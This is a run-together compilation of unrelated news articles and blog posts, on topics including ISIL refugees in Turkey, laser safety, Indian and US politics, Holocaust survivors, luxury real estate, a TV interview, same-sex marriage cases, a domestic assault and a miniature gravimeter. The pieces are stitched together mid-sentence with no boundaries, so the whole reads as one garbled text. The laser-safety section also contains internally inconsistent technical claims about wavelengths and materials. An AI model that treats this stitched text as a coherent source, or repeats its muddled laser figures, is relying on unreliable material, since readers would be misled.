“We’ve tried [to leave Sanliurfa] but my father is sick in bed and there is no financial support to help us,” said Sana. “All the support we have is from some relatives.”
An aunt living in Saudi Arabia sends the family money for rent and basic expenses.
However, to their surprise, they could not escape ISIL even in Turkey.
Fatima said cars frequently drive through Sanliurfa with men inside calling out for people to join ISIL. The Turkish authorities do not try to stop them, she said.
Both she and Sana have also been approached by supporters of the group on Sanliurfa’s streets.
“A veiled woman with a little child followed me once and asked me to cover my face. They were chanting out loud behind me and my daughter, saying, ‘Islamic State will stay’,” Fatima said, describing an incident last June.
Having lived in Raqqa after ISIL took over, she was scared how quickly the militants could become aggressive and said there was also the threat of kidnapping for people believed to be sympathetic to the moderate Syrian opposition.
The family does not often leave their room and has few friends in Sanliurfa.
The living situation was particularly difficult for Sana, who wore a headscarf, but was intimidated when women on the street came up and said she must cover more fully.
“We are a democratic state, if you do something bad we can’t just arrest someone just because he is an ISIS supporter or... plays ISIS songs in the street,” Mr Kirboga said when asked why local authorities in Sanliurfa haven’t detained ISIL supporters in the city.
Not giving up
Even though the family lives in fear of ISIL, Sana has not given up hope that her brother is still alive.
Last March, she returned briefly to Raqqa in attempt to negotiate his freedom.
She met a senior member of the group — a Saudi national. He said Mahmoud was dead, but offered no details of his death.
“What do you want?” Sana said the militant asked her.
After she said, “only my brother,” he offered her an ISIL fighter as a husband.
But Sana refuses to believe her brother is dead. She said ISIL has told other families that their relatives were killed, only to later release them from captivity.
“In Al Naiem square, I saw eight human heads on sticks. I held my breath for a second and started staring at them to see if my brother’s head was one of them,” she said. “I was terrified.”
She also claimed to have seen children playing football in the street with human heads.
Raqqa has “turned into a nightmare”, she said. “It is like watching a horror movie. There were no women in the streets. This is not the city I grew up in, everything covered with black.”
“Sometimes I wish it’s all just a bad dream and I will wake up from it soon.”
foreign.desk@thenational.ae"Playing" with outright dangerous lasers in the development of my own 3D printer design
Musing about my personal design philosophy
Realizing and articulating that SAFETY is my absolute number one design priority (for myself, my colleagues, my potential customers, and the public at large)
Reading about the apparent flood of low cost laser machines on the market
The moral of the story is please, please, please be safe when using lasers. Always wear appropriately rated safety glasses or ensure that your laser is fully enclosed (I prefer both).
Let's get down to business. First you get the PSA, then you get the story and the why.Lasers can be outright dangerous (especially incident light). If you are going to use a laser be sure to take appropriate safety precautions. This means protect your eyes (and prevent fires)...Note: this PSA applies to any laser with a power output greater than 5 mW.To do this first figure out the wavelength of the laser. It should be listed on the laser's spec sheet. Based on the laser's wavelength purchase a pair of safety glasses ( these cover multiple wavelengths, but do your own research). Anytime that the laser is on wear the glasses. Simple. Another option is to keep the laser system in a completely opaque enclosure, but this will obviously prevent viewing of the assembly during use. To prevent fire, simple keep the laser from dumping too much power into a single spot for too long a time.Now it is story time. A perfect storm of events has prompted this PSA including but not limited to:As you may have noticed, there seems to be a new Reprap style laser machine hitting the web everyday. There is a successful Kickstarter for the 100 mW MicroSlice, there is the 1 W LaserV on OpenBuilds, and there is even a 1.7 W hombrew 3D printer/laser combo on r/reprap. All of these designs have two highly disturbing features in common: high power lasers and open air frames.Let's take a look at the actual danger associated with lasers and incident light.There is an excellent Wikipedia page on laser safety. I highly recommend reading this page as a primer. About 1/3 of the way down the page there is a highly telling chart that I have conveniently pasted below. The graph displays maximum permissible exposure in Watts per unit area vs exposure time for various wavelengths. What this means is that if your eyes are exposed to the power levels shown for the indicated time, you will get permanent eye damage.Let's run through a real life example. We ca use the absorption curve for Ethidium-bromide-ABS to drive the example. Below 300 nm (ultraviolet) this material absorbs most laser radiation, converting it to heat energy. However in the visible spectrum, the laser reflects most of the laser radiation. If we were to shine a 1.7 W blue laser (355 nm) at this material most of the energy would be reflected. If a portion the size of your iris landed on your iris, you would have permanent eye damage in less than a second.Dan Savage speaks to CNN on March 8, 2015.
A senior fellow at the Family Research Council (FRC) tried to link columnist and activist Dan Savage to the video of fraternity members at the University of Oklahoma singing a racist song, Right Wing Watch reported.
“This comes at a time when you have one of our nemeses, Dan Savage, who is now having his life story being portrayed on a new sitcom on ABC,” Ken Blackwell said on Tuesday’s episode of the FRC radio show Washington Watch.
According to the Hollywood Reporter, the untitled sitcom based on Savage’s life will deal with “a picture-perfect family that is turned upside down when the youngest son comes out of the closet.”
Sexuality was not mentioned in the profane song Sigma Alpha Epsilon members were caught singing on video, which included the phrase, “There will never be a n*gger SAE.” As Reuters reported, two students have been expelled in connection with the video, and the fraternity was shuttered and vacated on orders of university President David Boren.
While Blackwell praised Boren’s sanctions against the fraternity, he argued that Savage was connected to the video, without giving specifics.
“You know, here’s a guy that’s responsible for the coarsening of civil discussion and conversation being celebrated, at a time when there are knuckleheads who are still spewing from their lips the sort of nonsense that we’ve heard from these fraternity members,” Blackwell said.
Listen to his remarks, as posted by Right Wing Watch, below.Amit Shah was on his first visit to Mumbai after being appointed BJP President.
Rahul Gandhi provoked a volley of barbs from the ruling BJP today after commenting that Prime Minister Narendra Modi "played the drums in Japan while ignoring problems back home." ( Stop Drumming in Japan, Focus on Home Affairs, says Rahul Gandhi to PM In a stinging retort, BJP president Amit Shah said, "Digvijaya Singh said we lost because Rahul Gandhi keeps quiet. Digvijaya ji, it's good that he is silent, otherwise Congress wouldn't have got even 44 seats." ( Change of Plan. Amit Shah to Meet Uddhav Thackeray After All Mr Shah, on his first visit to Mumbai after becoming BJP chief, also targeted the Congress for what he described its misrule in Maharashtra, which is due for polls later this year. "For the past 15 years, what have the Congress and NCP done? Scams, scams, scams. I will need a week to finish the list," he said. ( Amit Shah Has No Time for Him, Uddhav Thackeray Hits Back Veteran Congress leader Digvijaya Singh's admission in a recent interview that Mr Gandhi's silence on critical issues had cost the party in the "war of perception" has sparked a fresh leadership debate within the Congress. ( Also Read: Digvijaya Singh Clarifies After Saying Rahul Gandhi Lacks Ruling Temperament Mr Gandhi today confronted questions about a rift within his party, between the "old guard" and younger leaders. "These types of tensions have always been there. We will deal with that," said the 44-year-old Congress vice president dismissively.But several BJP leaders used the Congress turmoil to hit back at Mr Gandhi."Why should we listen to him when his own party members are not listening to him?" said union minister Venkaiah Naidu. The BJP government completed 100 days in office this week. The party came to power in May after winning a massive mandate, decimating the Congress, which was reduced to its lowest ever tally.(CNN) More than 70 years after the Holocaust ended, survivors living in the United States continue to suffer.
An estimated one-third of the 100,000 survivors in the country live at or below the poverty line, according to The Blue Card, a nonprofit organization that provides financial assistance to survivors of the genocide that killed more than 6 million Jews in Europe.
Compared to the 10% of Americans age 65 and older who live in poverty, as reported by the US Department of Health and Human Services, Holocaust survivors are a much greater risk group.
"We're dying out. In another 10 years there won't be a Holocaust survivor left," said Magda Rosenberg, who lost her entire family at the Auschwitz concentration camp in occupied Poland. Now 88, Rosenberg lives in Long Island, New York.
Of the 50,000 survivors residing in the New York Metropolitan area, 52% are considered "poor," living below 150% of federal poverty guidelines, or an individual annual income of less than $18,000, according to Selfhelp, an organization that has assisted victims of Nazi crimes since 1936.
"It's a shocking statistic," said Hanan Simhon, vice president of Holocaust Survivor Services at Selfhelp.
Survivors from the former Soviet Union have it particularly bad, he said, with 80% of them living in poverty. "They came here much later in their life at the fall of the Soviet Union, with no Social Security, pension or any type of supporting income for retirement."
As they age, this last generation of survivors incurs increasingly complex financial needs.
The poverty is due to a number of factors, said Masha Pearl, executive director of The Blue Card.
"They tend to be very isolated, losing their families during the war and then either did not or could not have children," said Pearl. "Many started working in menial jobs because they did not have the language skills. Today they are in their 80s and 90s and it is beyond difficult to make ends meet."
Medical experiments performed on Jews held in Nazi concentration camps have also put survivors at higher risk for costly diseases, such as cancer
Sami Steigmann spent his early childhood years in a Nazi labor camp. Years later, he was told by his father that he was subjected to medical experiments, which still cause him pain today at 77. "I'm a proud person, I never wanted to reach out for help," he said.
But after years of struggle and "getting involved with the wrong people," he found himself homeless. "I'm not a street person, I wanted to commit suicide," he said. It was only then when he agreed to be recognized as a survivor and mentally disabled, receive reparations from Germany and move into subsidized housing.
"Many are embarrassed to be in this situation, feeling as if they've failed twice -- not being able to save their family and now having to turn for help," said Pearl. "People with food stamps in the grocery store are trembling and afraid that someone will see them. Many of them wait to come forward because they are too ashamed."
When he couldn't afford a hearing aid, Steigmann once again reached out for assistance from Jewish organizations.
Today, Steigmann lives in a tiny studio apartment in New York. The building was recently bought and he will soon need to vacate the place he's called home for the last 20 years. Steigmann, who volunteers as a tutor teaching students about the Holocaust, fears he will no longer be able to participate in such activities, which he believes have been lifesaving.
The Blue Card, which serves 2 |
uses his signature style in the large star embroidery with sporty detailing in the ribboned ankle strap. What exemplifies his love for hoops is the custom logo at the toe-box inspired by the iconic NBA logo. The two AF1s are part of a larger collection inspired by a fictional basketball team called the Minotaurs; Tisci went ahead and created custom logos and emblems for this imaginary squad, who he describes as a reflection of today’s superhuman basketball stars.
The RT x NikeLab Air Force 1 High will release in two colorways beginning on October 12th in North America, October 20th in Paris, and October 21st globally at NikeLab retailers.
Riccardo Tisci x NikeLab Air Force 1 High
AVAILABLE AT Nike
Release Date: October 12th, 2017
Paris Release Date: October 20th, 2017
Global Release Date: October 21st, 2017
Style Code: AQ3366-100 (white)
Style Code: AQ3366-001 (black)The White House has made Donald Trump’s Tweets official.
On Saturday, he released a series of tweets accusing the Obama Administration of wiretapping the Trump Tower during the presidential transition, ostensibly to check for “Russian Ties.”
How low has President Obama gone to tapp my phones during the very sacred election process. This is Nixon/Watergate. Bad (or sick) guy! — Donald J. Trump (@realDonaldTrump) March 4, 2017
On Sunday, they made their concerns official, releasing a statement officially requesting an investigation into the alleged wiretapping.
“Reports concerning potentially politically motivated investigations immediately ahead of the 2016 election are very troubling. President Donald J. Trump is requesting that as part of their investigation into Russian activity, the congressional intelligence committees exercise their oversight authority to determine whether executive branch investigative powers were abused in 2016. Neither the White House nor the President will comment further until such oversight is conducted.”
Democrats have claimed that if there was an investigation – or wiretapping – of the Trump headquarters, it was done with the consent of a judge, in the form of a FISA warrant.
But speaking on “Meet The Press” Sunday, former Director of National Intelligence James Clapper said there was no wiretap authorized against Donald Trump or his campaign during his tenure.
“There was no such wiretap activity mounted against the president elect at the time as a candidate or against his campaign,” Clapper said on “Meet the Press.”
He added that he would “absolutely” have been informed if the FBI had sought or received such a warrant to wiretap Trump or his campaign.
“I can deny it,” Clapper continued.
What this means is either Donald Trump is wrong, or Obama authorized the wiretap outside of legitimate and legal means.
We will soon know.
Facebook has greatly reduced the distribution of our stories in our readers' newsfeeds and is instead promoting mainstream media sources. When you share to your friends, however, you greatly help distribute our content. Please take a moment and consider sharing this article with your friends and family. Thank you.Offshore buyers, primarily from China, are driving demand for luxury properties in Canada, helping to fuel sales of multimillion-dollar homes in major markets outside of Alberta.
More than 570 homes priced over $3-million sold in Vancouver in the first seven months of the year, up nearly 80 per cent from the same time last year, according to a new report from Re/Max.
A buyer paid more than $17.5-million for the most expensive home sold in Vancouver this year, the real estate company reported, an increase of nearly $1-million over the most expensive home sold in the city last year.
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A hot real estate market in Vancouver is partially responsible for the jump in high-end home sales by helping to push up the prices of a larger share of the existing housing stock above $3-million, which is considered luxury territory, the real estate company said. But increasing interest from foreign buyers is also fuelling the luxury home market this year.
Local buyers now represent a relatively small share of Vancouver's market for high-end homes. The bulk of sales have been to buyers from China, many of whom are looking for newly built homes with high-end furnishings close to good schools for their children. "What we're hearing from our brokers and realtors is that when people are thinking of moving out of their country, whether that country is China, or Russia, or parts of the Middle East, more and more they're looking to Canada as a place to go," said Gurinder Sandhu, Re/Max's executive vice-president for Ontario and Atlantic Canada.
The majority of foreign buyers of high-end homes are looking to relocate to Canada, rather than buy properties purely as an investor. "These aren't investments they're making from afar," Mr. Sandhu said. "These are families that are moving to Canada and buying these luxury properties to live in and raise their families."
With so much demand for luxury properties from overseas buyers, real estate agents in Vancouver have started skipping over the traditional process of waiting for a property to show up on the Multiple Listing Service and then making an offer. Instead some have begun knocking on doors of properties in demand on behalf of a buyer in hopes of convincing the homeowner to sell, the real estate brokerage said. Others have started offering settlement services such as helping foreign buyers to arrange home insurance or vehicle purchases.
In the Greater Toronto Area, there have been 279 sales of homes over $3-million so far this year, up 61 per cent from the same time last year.
Luxury home sales have been driven by local professional couples looking to upgrade as well as buyers from China with school-aged children who are purchasing four- and five-bedroom homes close to good schools. Buyers from Russia and the Middle East have also flocked to Toronto's luxury home market, snapping up properties in established neighbourhoods such as Rosedale and Forest Hill, as well as suburbs such as Oakville. In more suburban locales, properties rich in amenities, such as wine cellars, swimming pools and hydraulic lift garages, have been popular with buyers of high-end homes.
Chinese buyers have also turned their attention toward Montreal this year, Re/Max said, driven by an ample supply of luxury homes at more affordable prices than in Toronto and Vancouver, particularly older homes in established neighbourhoods. Realtors in the city reported a "substantial increase" in foreign buyers so far this year, thanks in part to the strength of the Chinese yuan compared to the Canadian dollar.
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Only Calgary has seen a drop in demand for luxury homes, with sales of properties priced over $1-million falling nearly 30 per cent from the same period last year, while sales of homes over $2-million have dropped nearly 40 per cent.
Demand from young first-time buyers employed in the oil patch has dried up, with the luxury market shifting toward families who are looking to upsize. Rather than purchase existing luxury homes, well-heeled buyers are increasingly opting to buy tear-down properties near the city centre and then build a custom home.
Prices for high-end homes have held relatively steady in the city, Re/Max said, although buyers now have the edge, and home inspections and financing – once rare in an overheated market – have now become a common part of the process of buying a luxury home.
Editor's note: A previous version of this story said 380 homes in the Greater Toronto area sold above the $3-million mark this year, up 119 per cent from 2014. Revised figures provided by Re/Max show that 279 homes in the GTA sold above the $3-million mark so far this year, up 61 per cent from last year.0
The FX series The Americans is a complex, complicated and intelligent period drama about two KGB spies posing as Americans in suburban Washington D.C., shortly after Ronald Reagan was elected President. The marriage of Philip (Matthew Rhys) and Elizabeth (Keri Russell) started out as one of arrangement, but has since developed into something much more personally meaningful, which makes it that much more difficult to let their children, Paige (Holly Taylor) and Henry (Keidrich Sellati), know who they really are.
During this exclusive interview with Collider, actress Keri Russell talked about the biggest surprises in the journey she’s been on with this show, why she loves getting to do so much action and physical work, how she views the relationship between Elizabeth and Philip, Elizabeth’s unexpected and growing jealousy, why this character is just so fun for her, and what it was like to work with Frank Langella, this season. Be aware that there are some spoilers.
Collider: When you think back to where things started, what have been the biggest surprises for you, on the journey?
KERI RUSSELL: I had no idea what this show would be. It’s been such an interesting surprise, the whole journey. From reading the pilot, she was so peripheral. She was way in the back, and she was so cold. I thought, “What is this going to be?” And then, it just became such a complex show about this relationship that I still really love. It’s such a fun place to work. When the show is really at its best, in my opinion, it is all spy aside. It’s just these really true, vulnerable, complicated discussions between a couple, and raising kids. I think all of the important issues or vulnerabilities around sexuality, trust, child-raising, what you want to impart on your child, and what you need them to see you as, are so relatable. That’s when the show really works. And just being a girl, it’s a fucking good job. With movies, you read things and you get two scenes where you’re someone’s girlfriend. It’s not near as complex as this stuff. I don’t have to be charming. I’m the opposite of charming on this show. Sometimes I panic and think, “Fuck, I’m really the devil. Everyone’s gonna hate me. But, it’s so good.”
You get very physical in this show, on a regular basis. How do you find those days?
RUSSELL: It helps that I enjoy it and have an interest in it, just from being a dancer, so I find those days fun. And I don’t have to talk or learn lines. That stuff is fun. I get to wear disguises and do weird other characters and do stunt work. I don’t even mind the sexuality of the show. It’s not about being romantic and beautiful. It’s about doing this whole other thing. It’s good. I really enjoy it. It’s like fake fighting when you’re a kid. It’s cool. My 7-year-old thinks it’s cool.
How do you view the relationship between Elizabeth and Philip, and how they’ve grown and changed?
RUSSELL: The first season was about deciding to really be in a relationship. The stuff that interests me is about really being seen and what that means, and being vulnerable. Maybe I’m just speaking for myself, but I think that’s hard and very relatable. For my character, that season was about being vulnerable enough, and letting someone see her and love her back. And then, in the second season, things were good, and it was just about protecting the family and solidifying that. This season, for my character, she has this complication of her mother, which is hugely overpowering for people. I don’t think she had a great relationship with her mother. I think there was a lot of fucked up stuff with that. And yet, she’s still so beholden to it. It overpowers her, maybe because it was so complicated. That happening at that same time everything is happening with Paige was just so complex. She felt that Philip’s rejection of her wanting to tell Paige who they are was Philip rejecting Elizabeth, and that felt so intensely personal.
Spies aside, having a huge secret about your identity and not being able to tell your kid, who’s the closest person to you, who you are was so wrong to Elizabeth and just felt so unjust. Elizabeth was just not willing to budge on it because it felt too personal. She just saw Philip as having his head in the sand. Joe [Weisberg] said, “We’re only having a discussion about it because you’re a woman and Paige is a girl. Think of how many generations of military families there are. When a great grandfather, grandfather and father were in the service, and then the son says, ‘I want to go into service,’ you say, ‘Yeah, of course!’” Elizabeth is incredibly successful and powerful at what she does, and she wants her daughter to know about that. Obviously, it’s more complex than that. This show is about spies and Russians, but it’s an interesting discussion because, would it be the same, if it were the father and the son? I don’t know. We do have these generations of military families, and they’re heroes.
What do you enjoy most about getting to play Elizabeth Jennings?
RUSSELL: It’s so fun. I spent so many years being the really kind, pregnant mother. I can’t tell you how many times I gave birth. I don’t even have to pretend. It’s the opposite of that. I’m like, “You’re wrong. I don’t care what you fucking think.” Women don’t get to do that, or you’re really bitchy or cold. Elizabeth doesn’t fucking care. She’s like, “I’m sorry you feel that way.” No, she doesn’t even say that. She’s just like, “Too fucking bad.” I really do believe that Elizabeth does love Philip and she doesn’t want to lose him. The complexity of this season is that she’s gotten to this place where she has this thing that she’s never had, but she just can’t give up what she believes, in her gut, is right. People get divorced about this stuff, all the time, whether it’s about religion, what school to go to, or what path to take. It’s a really worthwhile argument. Now, she cares about how it’s affecting Philip. In the first season, I don’t think she gave a fuck. I think she was like, “This is what we’re doing. Figure it out, but hurry up.” But now, she’s connected to him and is conscious of the way things are affecting him.
Are you surprised that Elizabeth actually got jealous about the fact that Philip has this other marriage?
RUSSELL: I’m so happy about that. I love all of that. To me, it just means that they’re more of a real couple, and less of a spy couple. I think everyone relates to that. Not everyone has multiple marriages, but it is a very relatable feeling to be jealous of your partner’s co-worker. I think that is such a universal feeling. I love when she’s jealous. It’s so great because it’s so vulnerable and normal, and it just means that she loves him. I love those moments. I love that she can be really tough and killing people, and then lose her mind over her daughter going to Bible camp. It’s so funny when the little things undo her.
What was it like to work with Frank Langella, this season?
RUSSELL: We would just sit and listen to him talk and tell amazing stories about Lauren Bacall, or whatever. He just has such weight and presence. He came in with such a different energy than Margo Martindale, who I love.
The Americans airs on Wednesday nights on FX, with the Season 3 finale airing on Wednesday, April 22nd.For decades now, I've been listening to women say how if women ran things, the world would be a better place, run with compassion, kindness, nurturing, diplomacy, non-aggression, and generally laying the opposite of all of the above on men and the patriarchy.
To that, I say bring it on! I'd be thrilled to live in such a world.
Hillary in no way embodies the promise of a less militant more nurturing leadership. I'd say the same for many women in power. I won't get into all of the issues involved with that, there are many, from having to conform to system norms to gain power, to some of the problems being human nature as much as they are male nature.
No matter the reason, at least not for purposes of this discussion. The sad reality is that electing a Margaret Thatcher, a Condoleeza Rice, a Claire McCaskill, a Hillary Clinton, a Sarah Palin, a Carly Fiorina, does nothing towards reaching those goals.
We not only have to elect or promote women to positions of power, we have to elect or promote the RIGHT women to positions of power. Jill Stein is such a woman. An up-and-comer is Seattle's Kshama Sawant (can't be POTUS, foreign-born). Elizabeth Warren (good on Wall St. issues, I need more convincing on other issues). Plenty of others too.
Hillary Clinton is not one of these women, and never will be. She has taken the other road, seeking full membership in and ideological solidarity with the forces that are the fundamental problem in our nation and our world.
Thank you Jill Stein for bringing this to the attention of many who would otherwise not have thought about it.The Seahawks are good again and there’s plenty of room on the bandwagon. Nate Silver has climbed aboard, so why not you? To establish your Hawks fan bonafides, this lifelong fan humbly suggests five tasks.
1. Punch Yourself Repeatedly in the Face.
This simple exercise will replicate 37 years of Seahawks fandom. Since 1976, we fans have endured such trauma as the team nearly moving to Los Angeles, the Vinnie Testaverde helmet touchdown, and Dan McGwire. Make one of the punches extra hard to represent Super Bowl XL, whenreferee incompetence robbed the Seahawks of a world championship.
2. Select Your Game Day Garb
From dogs to babies to the elderly to mystery beings, Seahawks fans love to dress up. Ifelaborate face paint and 8 pounds of Mardi Gras beads isn’t your style, snag a t-shirt at the team store. If you want to look really legit, check out the vintage Seahawks gear at Throwbacks NW. This hat says “I remember the Chuck Knox years” even if you don’t.
3. Respond to the Name “Twelve”
Seahawks fans are known collectively as “Twelves,” a reference to Seahawks fans as “the 12th man.” The Seahawks retired the #12 in honor of the fans in 1984. You’ll often see folks wearing Seahawks #12 jerseys with “Fan” on the back.
4. Join the Cult of Wilson
Rookie quarterback Russell Wilson is practically a deity in Seahawks’ fans eyes after having one of the best rookie seasons in history. Beyond that, the humble yet driven Wilson appears to be pretty much the world’s greatest person.
5. Be F***ing Loud
Perhaps as a way of throwing off our culturally inherited Scandinavian reserve, Seattle fans are exceptionally loud. The NFL instituted an anti-noise rule in 1989 because of deafening Kingdome volumes, and the tradition has continued at CenturyLink Field. Since the Seahawks began playing there, opposing offenses have committed 121 false starts–more than at any NFL stadium. Screaming fans actually caused a seismic event during a 2011 playoff game.
Ready, go! Someday, maybe we’ll randomly hug in a bar after a Seahawks touchdown. We’ll try not to get our beads tangled.
The SunBreak is an online magazine of news & culture. A conversation about the things on Seattle’s mind.The new California case, Hollingsworth v. Perry, No. 12-144, was filed in 2009 by Theodore B. Olson and David Boies, two lawyers who were on opposite sides in the Supreme Court’s decision in Bush v. Gore, which settled the 2000 presidential election. The suit argued that California voters had violated the federal Constitution the previous year when they overrode a decision of the state’s Supreme Court allowing same-sex marriages.
A federal judge in San Francisco agreed, issuing a broad decision that said the Constitution required the state to allow same-sex couples to marry. The decision has been stayed.
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A divided three-judge panel of the United States Court of Appeals for the Ninth Circuit, also in San Francisco, affirmed the decision. But the majority relied on narrower grounds that seemed calculated to avoid Supreme Court review or, at least, attract the vote of the presumed swing member of that court, Justice Anthony M. Kennedy.
Judge Stephen R. Reinhardt, writing for the majority, relied heavily on a 1996 majority opinion from Justice Kennedy in Romer v. Evans, which struck down a Colorado constitutional amendment that had banned the passage of laws protecting gay men and lesbians. The voter initiative in California, known as Proposition 8, had done something similar, Judge Reinhardt wrote.
That reasoning, he added, meant that the ruling was confined to California.
“We do not doubt the importance of the more general questions presented to us concerning the rights of same-sex couples to marry, nor do we doubt that these questions will likely be resolved in other states, and for the nation as a whole, by other courts,” he wrote.
“For now,” he said, “it suffices to conclude that the people of California may not, consistent with the federal Constitution, add to their state Constitution a provision that has no more practical effect than to strip gays and lesbians of their right to use the official designation that the state and society give to committed relationships, thereby adversely affecting the status and dignity of the members of a disfavored class.”
The Supreme Court has several options in reviewing the decision. It could reverse it, leaving California’s ban on same-sex marriage in place. It could affirm it on the narrower theory, which would allow same-sex marriage in California but not require it elsewhere. Or it could address the broader question of whether the Constitution requires states to allow such marriages.
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A plaintiff in the case, Kristin M. Perry, said she hoped that the justices would answer yes to that last question. “There is nothing more important,” she said, “than a state ridding itself of discriminatory laws that hurt its citizens every day.”
Brian S. Brown, the president of the National Organization for Marriage, said the court should address the broader question but say no. “What’s at stake,” he said, “is whether the Constitution demands a redefinition of marriage and whether states can even vote on this issue.”
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The second case the court agreed to hear, United States v. Windsor, No. 12-307, challenges a part of the Defense of Marriage Act of 1996. Section 3 of the law defines marriage as between only a man and a woman for the purposes of more than 1,000 federal laws and programs. (Another part of the law, not before the court, says that states need not recognize same-sex marriages from other states.)
The case concerns two New York City women, Edith Windsor and Thea Clara Spyer, who married in 2007 in Canada. Ms. Spyer died in 2009, and Ms. Windsor inherited her property. The 1996 law did not allow the Internal Revenue Service to treat Ms. Windsor as a surviving spouse, and she faced a tax bill of about $360,000 that a spouse in an opposite-sex marriage would not have had to pay.
Ms. Windsor sued, and in October the United States Court of Appeals for the Second Circuit, in New York, struck down the 1996 law. The decision was the second from a federal appeals court to do so, joining one in May from a court in Boston. The Windsor case made its way to the Supreme Court unusually quickly because the parties had filed an appeal from the trial court’s decision in the case, which also struck down the law, even before the appeals court had ruled.
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Ms. Windsor, 83, said she was “absolutely thrilled” that the court had agreed to hear her case, adding, “I wish Thea was here to see what is going on.”
There was reason to think that Justice Elena Kagan was not free to hear an appeal from the Boston case because she had worked on it or a related case as United States solicitor general. The current solicitor general, Donald B. Verrilli Jr., gave the court a number of other options, including Windsor, probably partly to make sure that a case of such importance could be heard by a full nine-member court.
The Obama administration’s attitude toward same-sex marriage and the 1996 law has shifted over time. Until last year, the Justice Department defended the law in court, as it typically does for all acts of Congress. In February 2011, though, Attorney General Eric H. Holder Jr. announced that he and President Obama had concluded that the law was unconstitutional and unworthy of defense in court, though he added that the administration would continue to enforce the law.
In May of this year, Mr. Obama announced his support for same-sex marriage.
After the Justice Department stepped aside, House Republicans intervened to defend the law. They are represented by Paul D. Clement, a solicitor general in the Bush administration.Advertisement 120-pound Great Dane rescued after getting stuck in tree 'I would have never thought it was possible' Share Shares Copy Link Copy
Multiple first responders safely rescued a 120-pound Great Dane Saturday after it was stuck in a tree.Owner Wes McGuirk says his pet, "Kora," probably ran up the tree in pursuit of a raccoon or squirrel after surmounting a 5-foot-tall fence.McGuirk says he found her on a limb about 20 feet up when he returned home from Omaha. His efforts to get her down failed, so he called for help from firefighters."I would have never thought it was possible," said McGuirk. "Not a Great Dane!"The post says they received a call that "was far from typical.""While we were responding, we were admittedly somewhat skeptical. Upon arrival, sure enough, there she was," said Plattsmouth Volunteer Fire Department officials in a Facebook post.Several crews from Cass County responded, including the K-9 handler from the sheriff's office."The initial plan was to get a harness on the dog and see if he would follow a friend of the owner back down the tree. That didn't work too well," the Facebook post read."She was petrified, tired, and cold," said McGuirk.Another plan was made: attaching Kora to a long leash and harness, and lowering the dog the ground."During both plans, we had members on the ground holding a tarp to catch the dog if she would have fallen."Which is pretty much what happened -- Kora fell into the tarp, bounced off onto the ground -- and promptly walked away.Photo courtesy: Wes McGuirk"This is one of those calls that had a great outcome and will not soon be forgotten," the post reads.You can watch video of the rescue here.The video will start in 8 Cancel
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A teenage girl was punched in the head and kicked unconscious by her thug boyfriend in a pub car park.
Harrowing CCTV footage captured evil Darryl Moore flying into a alcohol-fuelled rage and battering 18-year-old girlfriend Rayna Holden.
He can be seen chasing her and when she fails to get away he repeatedly punches her, drags her around, kicks her and eventually stamps on her, before his pal eventually pulled him off her.
Petite Rayna, who stands just 5ft 5ins, was left with bruising, two broken ribs and a dislocated knee after the savage beating.
Moore, now 22, has now been convicted of assault and jailed for 12 months at Newcastle Crown Court.
Brave Rayna said: "Daryl was my first love, and I was so besotted with him I trusted him completely.
"When he attacked me that night I thought he was going to kill me.
"I've never been so terrified in all my life.
(Image: SWNS)
"I was scared to press charges but when I saw the CCTV footage I knew he had to be stopped - I don't want any other woman to go through what I did."
Rayna has moved back to her home town of Failsworth, Manchester, following the November 2014 assault in a pub beer garden and car park in Washington, Tyne and Wear.
After the attack, Rayna spent two months in a Women in Need Shelter before moving back in with her grandfather David, 69.
Student Rayna plans to study hair and beauty at college next month, but still feels traumatised by the ordeal.
She said: "Daryl was so charming when I first met him.
"But after he lost his job as an engineer he turned nasty.
(Image: SWNS)
"That day, he had been drinking for three hours when I went to speak to a pal - and he just lost it.
"He got jealous and stood over me, screaming that I was a's*** and a's***'."
The pub's CCTV footage captured the 14-minute attack which sees Moore throw beer at her before punching her in the face and chasing her from the garden.
He then dragged her up a grassy bank and punched her repeatedly for over a minute - before she slipped into unconsciousness.
Evil Moore then continued punching and kicking his downed girlfriend of three years, even though she went limp.
Rayna said: "He kept yelling that I was a 'little w****' as he beat and punched me.
" He was unstoppable - even when I told him he would kill me.
"The beatings kept coming until I couldn't think straight.
"I stopped begging him to leave me alone, all I could do was curl in a ball and wait for it to be over."
(Image: SWNS)
Callous Moore left her on the pavement, and it was about ten minutes before two customers found her and called the police.
Battered Rayna was treated at Galleries Medical Centre in Washington for a dislocated knee, two broken ribs and bruising over her body.
In June, Moore pleaded guilty to assault at Newcastle Crown Court, meaning Rayna did not have to give evidence - but she believes his 12-month jail sentence is too short.
She said: "Daryl left me for dead but the sentence feels like a slap on the wrist.
"In the meantime, I still have nightmares and have to go to counselling - it's not right or fair.
"He's a monster, and I want to warn other women what he's capable of.
"If releasing this footage means one other person comes forward and reports their abuser, I'll be happy."Image copyright Giles Hammond Image caption The sensor itself, in the middle of the gadget, is the size of a postage stamp
UK researchers have built a small device that measures tiny fluctuations in gravity, and could be used to monitor volcanoes or search for oil.
Such gravimeters already exist but compared to this postage stamp-sized gadget, they are bulky and pricy.
The new design is based on the little accelerometers found in smartphones.
To begin with, the team - from the University of Glasgow - tested it by measuring the Earth's tides over a period of several days.
Tidal forces, caused by the interacting pull of the Sun and Moon, not only drag the oceans up and down but slightly squash the Earth's diameter.
"It's not a very big squeeze, but it means that essentially Glasgow - or anywhere else on the Earth's crust - goes up and down by about 40cm over the course of 12-13 hours," said Richard Middlemiss, the PhD student who made the new instrument.
"That means that we get a change in gravitational acceleration - so that's what we've been able to measure."
Image copyright Middlemiss et al., Nature 2016 Image caption Earth tides, measured by a silicon chip in a laboratory in Glasgow
In fact, Mr Middlemiss and his colleagues, writing in the journal Nature, report that their contraption can detect even smaller gravity changes - such as those that would be caused by a tunnel less than 1m across, buried 2m underground.
Fleets of these devices could eventually be scattered around volcanoes or mounted on drones, they suggest, to conduct subterranean surveys.
They could even help civil engineers locate pipes under roads, Mr Middlemiss said, to save them digging in the wrong places.
"What we wanted was to make a gravimeter that was very small and very cheap."
Speaking to BBC News, he estimated that the device - in a few years' time - could be priced in the hundreds of pounds. This is much better than the £70,000-plus charged for today's commercial gravimeters, which are largely the preserve of wealthy oil companies.
The UK team has a patent pending on its design.
Silicon springs
Like most gravimeters, the heart of the new instrument is a weight hanging from a spring. Unlike all other gravimeters thus far, this one is a MEMS: a "microelectromechanical system".
The whole sensor is carved from a sheet of silicon 0.2mm thick; the "weight" is a small slab of that silicon and the "spring" consists of several thin shafts that hold it in place.
Image copyright Richard Middlemiss Image caption Carved from a sheet of silicon, the sensor contains a weight (the central slab) suspended by thin, curved shafts
